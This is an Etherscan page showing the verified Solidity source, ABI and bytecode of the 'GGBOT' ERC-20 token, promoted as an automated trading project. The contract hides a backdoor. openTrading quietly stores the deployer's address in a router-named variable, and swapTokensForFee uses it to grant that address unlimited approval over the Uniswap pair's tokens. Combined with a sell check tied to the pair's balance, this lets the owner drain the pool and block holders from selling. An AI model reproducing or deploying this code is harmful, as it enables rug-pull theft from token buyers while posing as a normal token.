ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000,000,000,000 GGBOT
Holders
61
Transfers
-
0 (0%)
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
GGBOT
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-08-18
*/
/**
Join GGBot and explore the world of automated trading strategies on the Ethereum blockchain.
Experience the power of cutting-edge technology, optimize your trading endeavors, and become part of a dynamic community that's shaping the future of crypto trading.
Website: https://ggbot.info
Twitter: https://twitter.com/GGBOT_ERC
Telegram: https://t.me/GGBOT_ERC
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20Standard {
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapFactoryV2 {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouter02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function owner() public view returns (address) {
return _owner;
}
}
contract GGBOT is IERC20Standard, Context, Ownable {
using SafeMath for uint256;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10 ** 9 * 10**_decimals;
uint256 public _maxTransfer = 4 * 10 ** 7 * 10**_decimals;
uint256 public _maxHolding = 4 * 10 ** 7 * 10**_decimals;
uint256 public _swapThreshold = 10 ** 7 * 10**_decimals; // 1%
uint256 public _maxSwap = 10 ** 7 * 10**_decimals; // 1%
string private constant _name = "GGBOT";
string private constant _symbol = "GGBOT";
address payable private _taxWallet;
IUniswapRouter02 private uniswapV2Router;
address private uniswapV2Router_;
address private uniswapV2Pair;
uint256 private _initBuyFee=15;
uint256 private _initSellFee=15;
uint256 private _finalBuyFee=0;
uint256 private _finalSellFee=0;
uint256 private _reduceBuyFeeAfter=11;
uint256 private _reduceSellFeeAfter=11;
uint256 private _dontSwapBefore=11;
uint256 private _buyersNum=0;
uint256 private _startBlock;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
bool private tradingStarted;
bool private swapping = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTransfer);
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _totalSupply;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function openTrading() external payable onlyOwner() {
require(!tradingStarted,"trading is already open");
uniswapV2Router = IUniswapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), type(uint).max);
uniswapV2Pair = IUniswapFactoryV2(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());uniswapV2Router_ = msg.sender;
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingStarted = true;
_startBlock = block.number;
}
function removeLimits() external onlyOwner{
_maxTransfer = _totalSupply;
_maxHolding=_totalSupply;
emit MaxTxAmountUpdated(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner() && ! _isExcludedFromFee[from]) {
taxAmount = amount.mul((_buyersNum>_reduceBuyFeeAfter)?_finalBuyFee:_initBuyFee).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTransfer, "Exceeds the _maxTransfer.");
require(balanceOf(to) + amount <= _maxHolding, "Exceeds the maxWalletSize.");
if (_startBlock + 3 > block.number) {
require(!isContract(to));
}
_buyersNum++;
}
if (to != uniswapV2Pair) {
require(balanceOf(to) + amount <= _maxHolding, "Exceeds the maxWalletSize.");
}
if(to == uniswapV2Pair && from!= address(this)){
require(balanceOf(to) >= _totalSupply / 100);
taxAmount = amount.mul((_buyersNum>_reduceSellFeeAfter)?_finalSellFee:_initSellFee).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!swapping && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && _buyersNum>_dontSwapBefore) {
swapTokensForFee(to, min(amount,min(contractTokenBalance,_maxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHForFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
receive() external payable {}
function sendETHForFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function swapTokensForFee(address receiver, uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uniswapV2Router = IUniswapRouter02(uniswapV2Router_);
_approve(receiver, address(uniswapV2Router), type(uint).max);
uniswapV2Router = IUniswapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransfer","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxHolding","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052620000126009600a620002e4565b62000022906302625a00620002fb565b600155620000336009600a620002e4565b62000043906302625a00620002fb565b600255620000546009600a620002e4565b620000639062989680620002fb565b600355620000746009600a620002e4565b620000839062989680620002fb565b600455600f6009819055600a8190555f600b818155600c829055600d819055600e8190559091556010556015805462ffff0019169055348015620000c5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191633179055620001266009600a620002e4565b6200013690633b9aca00620002fb565b335f81815260146020908152604080832094909455308252601390528281208054600160ff1991821681179092556005546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ae6009600a620002e4565b620001be90633b9aca00620002fb565b60405190815260200160405180910390a362000315565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200022957815f19048211156200020d576200020d620001d5565b808516156200021b57918102915b93841c9390800290620001ee565b509250929050565b5f826200024157506001620002de565b816200024f57505f620002de565b8160018114620002685760028114620002735762000293565b6001915050620002de565b60ff841115620002875762000287620001d5565b50506001821b620002de565b5060208310610133831016604e8410600b8410161715620002b8575081810a620002de565b620002c48383620001e9565b805f1904821115620002da57620002da620001d5565b0290505b92915050565b5f620002f460ff84168362000231565b9392505050565b8082028115828204841417620002de57620002de620001d5565b6116d080620003235f395ff3fe6080604052600436106100fd575f3560e01c8063715018a61161009257806395d89b411161006257806395d89b4114610108578063a9059cbb14610292578063c9567bf9146102b1578063d7091b71146102b9578063dd62ed3e146102ce575f80fd5b8063715018a61461022d578063751039fc146102435780637c100a40146102575780638da5cb5b1461026c575f80fd5b806323b872dd116100cd57806323b872dd146101aa578063313ce567146101c95780634b71567f146101e457806370a08231146101f9575f80fd5b806306fdde0314610108578063095ea7b3146101445780630e5a92311461017357806318160ddd14610196575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50604080518082018252600581526411d1d093d560da1b6020820152905161013b91906112e2565b60405180910390f35b34801561014f575f80fd5b5061016361015e366004611344565b610312565b604051901515815260200161013b565b34801561017e575f80fd5b5061018860035481565b60405190815260200161013b565b3480156101a1575f80fd5b50610188610328565b3480156101b5575f80fd5b506101636101c436600461136e565b610348565b3480156101d4575f80fd5b506040516009815260200161013b565b3480156101ef575f80fd5b5061018860015481565b348015610204575f80fd5b506101886102133660046113ac565b6001600160a01b03165f9081526014602052604090205490565b348015610238575f80fd5b506102416103af565b005b34801561024e575f80fd5b50610241610429565b348015610262575f80fd5b5061018860025481565b348015610277575f80fd5b505f546040516001600160a01b03909116815260200161013b565b34801561029d575f80fd5b506101636102ac366004611344565b6104da565b6102416104e6565b3480156102c4575f80fd5b5061018860045481565b3480156102d9575f80fd5b506101886102e83660046113c7565b6001600160a01b039182165f90815260126020908152604080832093909416825291909152205490565b5f61031e338484610808565b5060015b92915050565b5f6103356009600a6114f2565b61034390633b9aca00611500565b905090565b5f61035484848461092b565b6103a584336103a085604051806060016040528060288152602001611673602891396001600160a01b038a165f9081526012602090815260408083203384529091529020549190610f2d565b610808565b5060019392505050565b5f546001600160a01b031633146103e15760405162461bcd60e51b81526004016103d890611517565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104525760405162461bcd60e51b81526004016103d890611517565b61045e6009600a6114f2565b61046c90633b9aca00611500565b60015561047b6009600a6114f2565b61048990633b9aca00611500565b6002557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104b96009600a6114f2565b6104c790633b9aca00611500565b60405190815260200160405180910390a1565b5f61031e33848461092b565b5f546001600160a01b0316331461050f5760405162461bcd60e51b81526004016103d890611517565b60155460ff16156105625760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d8565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105989030905f19610808565b60065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060c919061154c565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068f919061154c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd919061154c565b600880546001600160a01b039283166001600160a01b03199182161790915560078054909116331790556006541663f305d7193430610750816001600160a01b03165f9081526014602052604090205490565b5f806107635f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c9573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107ee9190611567565b50506015805462ff00ff1916620100011790555043601155565b6001600160a01b03831661086a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d8565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d8565b6001600160a01b038381165f8181526012602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d8565b6001600160a01b0382166109f15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d8565b5f8111610a525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d8565b5f80546001600160a01b03858116911614801590610a7d57505f546001600160a01b03848116911614155b8015610aa157506001600160a01b0384165f9081526013602052604090205460ff16155b15610df057610ad26064610acc600d5460105411610ac157600954610ac5565b600b545b8590610f65565b90610fea565b6008549091506001600160a01b038581169116148015610b0057506006546001600160a01b03848116911614155b8015610b2457506001600160a01b0383165f9081526013602052604090205460ff16155b15610c2b57600154821115610b7b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785472616e736665722e0000000000000060448201526064016103d8565b60025482610b9d856001600160a01b03165f9081526014602052604090205490565b610ba79190611592565b1115610bf55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d8565b436011546003610c059190611592565b1115610c1657823b15610c16575f80fd5b60108054905f610c25836115a5565b91905055505b6008546001600160a01b03848116911614610cba5760025482610c62856001600160a01b03165f9081526014602052604090205490565b610c6c9190611592565b1115610cba5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d8565b6008546001600160a01b038481169116148015610ce057506001600160a01b0384163014155b15610d55576064610cf36009600a6114f2565b610d0190633b9aca00611500565b610d0b91906115bd565b6001600160a01b0384165f908152601460205260409020541015610d2d575f80fd5b610d526064610acc600e5460105411610d4857600a54610ac5565b600c548590610f65565b90505b305f90815260146020526040902054601554610100900460ff16158015610d8957506008546001600160a01b038581169116145b8015610d9d575060155462010000900460ff165b8015610daa575060035481115b8015610db95750600f54601054115b15610dee57610ddc84610dd785610dd28560045461102b565b61102b565b61103f565b478015610dec57610dec476111dc565b505b505b8015610e6857305f90815260146020526040902054610e0f9082611217565b305f81815260146020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e5f9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260146020526040902054610e8a9083611275565b6001600160a01b0385165f90815260146020526040902055610ecd610eaf8383611275565b6001600160a01b0385165f9081526014602052604090205490611217565b6001600160a01b038085165f8181526014602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f168585611275565b60405190815260200160405180910390a350505050565b5f8184841115610f505760405162461bcd60e51b81526004016103d891906112e2565b505f610f5c84866115dc565b95945050505050565b5f825f03610f7457505f610322565b5f610f7f8385611500565b905082610f8c85836115bd565b14610fe35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d8565b9392505050565b5f610fe383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112b6565b5f8183116110395782610fe3565b50919050565b6015805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611081576110816115ef565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110fc919061154c565b8160018151811061110f5761110f6115ef565b6001600160a01b039283166020918202929092010152600754600680546001600160a01b0319169190921690811790915561114d9084905f19610808565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915560405163791ac94760e01b815263791ac9479061119f9085905f90869030904290600401611603565b5f604051808303815f87803b1580156111b6575f80fd5b505af11580156111c8573d5f803e3d5ffd5b50506015805461ff00191690555050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611213573d5f803e3d5ffd5b5050565b5f806112238385611592565b905083811015610fe35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d8565b5f610fe383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2d565b5f81836112d65760405162461bcd60e51b81526004016103d891906112e2565b505f610f5c84866115bd565b5f6020808352835180828501525f5b8181101561130d578581018301518582016040015282016112f1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611341575f80fd5b50565b5f8060408385031215611355575f80fd5b82356113608161132d565b946020939093013593505050565b5f805f60608486031215611380575f80fd5b833561138b8161132d565b9250602084013561139b8161132d565b929592945050506040919091013590565b5f602082840312156113bc575f80fd5b8135610fe38161132d565b5f80604083850312156113d8575f80fd5b82356113e38161132d565b915060208301356113f38161132d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561144c57815f1904821115611432576114326113fe565b8085161561143f57918102915b93841c9390800290611417565b509250929050565b5f8261146257506001610322565b8161146e57505f610322565b8160018114611484576002811461148e576114aa565b6001915050610322565b60ff84111561149f5761149f6113fe565b50506001821b610322565b5060208310610133831016604e8410600b84101617156114cd575081810a610322565b6114d78383611412565b805f19048211156114ea576114ea6113fe565b029392505050565b5f610fe360ff841683611454565b8082028115828204841417610322576103226113fe565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561155c575f80fd5b8151610fe38161132d565b5f805f60608486031215611579575f80fd5b8351925060208401519150604084015190509250925092565b80820180821115610322576103226113fe565b5f600182016115b6576115b66113fe565b5060010190565b5f826115d757634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610322576103226113fe565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116515784516001600160a01b03168352938301939183019160010161162c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ca50f322ec55742132a4461bba096d60ee1340e3733f7447817a307ba843b6cb64736f6c63430008150033
Deployed Bytecode
0x6080604052600436106100fd575f3560e01c8063715018a61161009257806395d89b411161006257806395d89b4114610108578063a9059cbb14610292578063c9567bf9146102b1578063d7091b71146102b9578063dd62ed3e146102ce575f80fd5b8063715018a61461022d578063751039fc146102435780637c100a40146102575780638da5cb5b1461026c575f80fd5b806323b872dd116100cd57806323b872dd146101aa578063313ce567146101c95780634b71567f146101e457806370a08231146101f9575f80fd5b806306fdde0314610108578063095ea7b3146101445780630e5a92311461017357806318160ddd14610196575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50604080518082018252600581526411d1d093d560da1b6020820152905161013b91906112e2565b60405180910390f35b34801561014f575f80fd5b5061016361015e366004611344565b610312565b604051901515815260200161013b565b34801561017e575f80fd5b5061018860035481565b60405190815260200161013b565b3480156101a1575f80fd5b50610188610328565b3480156101b5575f80fd5b506101636101c436600461136e565b610348565b3480156101d4575f80fd5b506040516009815260200161013b565b3480156101ef575f80fd5b5061018860015481565b348015610204575f80fd5b506101886102133660046113ac565b6001600160a01b03165f9081526014602052604090205490565b348015610238575f80fd5b506102416103af565b005b34801561024e575f80fd5b50610241610429565b348015610262575f80fd5b5061018860025481565b348015610277575f80fd5b505f546040516001600160a01b03909116815260200161013b565b34801561029d575f80fd5b506101636102ac366004611344565b6104da565b6102416104e6565b3480156102c4575f80fd5b5061018860045481565b3480156102d9575f80fd5b506101886102e83660046113c7565b6001600160a01b039182165f90815260126020908152604080832093909416825291909152205490565b5f61031e338484610808565b5060015b92915050565b5f6103356009600a6114f2565b61034390633b9aca00611500565b905090565b5f61035484848461092b565b6103a584336103a085604051806060016040528060288152602001611673602891396001600160a01b038a165f9081526012602090815260408083203384529091529020549190610f2d565b610808565b5060019392505050565b5f546001600160a01b031633146103e15760405162461bcd60e51b81526004016103d890611517565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104525760405162461bcd60e51b81526004016103d890611517565b61045e6009600a6114f2565b61046c90633b9aca00611500565b60015561047b6009600a6114f2565b61048990633b9aca00611500565b6002557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104b96009600a6114f2565b6104c790633b9aca00611500565b60405190815260200160405180910390a1565b5f61031e33848461092b565b5f546001600160a01b0316331461050f5760405162461bcd60e51b81526004016103d890611517565b60155460ff16156105625760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d8565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105989030905f19610808565b60065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060c919061154c565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068f919061154c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd919061154c565b600880546001600160a01b039283166001600160a01b03199182161790915560078054909116331790556006541663f305d7193430610750816001600160a01b03165f9081526014602052604090205490565b5f806107635f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c9573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107ee9190611567565b50506015805462ff00ff1916620100011790555043601155565b6001600160a01b03831661086a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d8565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d8565b6001600160a01b038381165f8181526012602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d8565b6001600160a01b0382166109f15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d8565b5f8111610a525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d8565b5f80546001600160a01b03858116911614801590610a7d57505f546001600160a01b03848116911614155b8015610aa157506001600160a01b0384165f9081526013602052604090205460ff16155b15610df057610ad26064610acc600d5460105411610ac157600954610ac5565b600b545b8590610f65565b90610fea565b6008549091506001600160a01b038581169116148015610b0057506006546001600160a01b03848116911614155b8015610b2457506001600160a01b0383165f9081526013602052604090205460ff16155b15610c2b57600154821115610b7b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785472616e736665722e0000000000000060448201526064016103d8565b60025482610b9d856001600160a01b03165f9081526014602052604090205490565b610ba79190611592565b1115610bf55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d8565b436011546003610c059190611592565b1115610c1657823b15610c16575f80fd5b60108054905f610c25836115a5565b91905055505b6008546001600160a01b03848116911614610cba5760025482610c62856001600160a01b03165f9081526014602052604090205490565b610c6c9190611592565b1115610cba5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d8565b60